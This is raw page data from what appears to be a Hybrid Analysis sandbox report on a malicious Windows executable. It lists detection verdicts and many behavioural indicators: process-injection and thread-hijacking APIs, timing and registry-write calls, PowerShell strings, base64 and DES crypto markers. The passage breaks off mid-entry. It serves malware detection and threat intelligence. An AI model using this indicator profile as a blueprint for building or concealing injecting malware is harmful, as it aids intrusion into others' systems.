26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] a9:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T504,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 3a88fc89c7e4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3a88fc89c7e4…. Malware family: Win/malicious_confidence_90%. Threat score 100/100. 10/27 AV engines flagged this file. 14 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50"],"about":{"@type":"SoftwareApplication","name":"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin","applicationCategory":["peexe","assembly","executable"],"identifier":"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":14,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1095,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp, 00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.02D20000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp, 00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.02D20000.00000004.mdmp, 00000000-00005300.00000000.278971.04CB0000.00000004.mdmp, 00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp, 00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp, 00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00005300.00000001.279419.07458000.00000004.mdmp")28:T10de,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00004008.00000000.279804.00901000.00000020.mdmp") Found reference to API "SamFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00004008.00000000.279804.00901000.00000020.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004008.00000000.279804.00901000.00000020.mdmp") Found reference to API "SamFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004008.00000000.279804.00901000.00000020.mdmp") Found reference to API "DsRoleFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")29:Te27,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "SetThreadContext"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetThreadContext"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")2a:T119d,Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")2b:Tc03,Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005300.00000001.279419.00021000.00000002.mdmp, 00000000-00005300.00000001.279419.6FEB5000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005300.00000001.279419.00021000.00000002.mdmp, 00000000-00005300.00000001.279419.6FEB5000.00000002.mdmp")2c:T798,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found string "# 170..180 | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found string "# PS# 170..180 | format-hex -Raw" (Indicator: "Format-Hex"; Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp, 00000000-00005300.00000001.279419.07390000.00000004.mdmp")2d:T599,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "RegRestoreKeyW" (Indicator: "RegRestoreKey"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "RegFlushKey" (Indicator: "RegFlushKey"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "RegSetValueW" (Indicator: "RegSetValue"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")2e:Teaa,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "windowsruntime.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "windowsruntime.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003260.00000000.280696.03610000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003260.00000000.280696.03610000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003724.00000000.280371.02B90000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003724.00000000.280371.02B90000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")2f:Tad9,file/memory contains long string with (Indicator: "CryptoStream"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "DESCryptoServiceProvider"; File: "QKTi8Lo_1_.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "QKTi8Lo_1_.exe") file/memory contains long string with 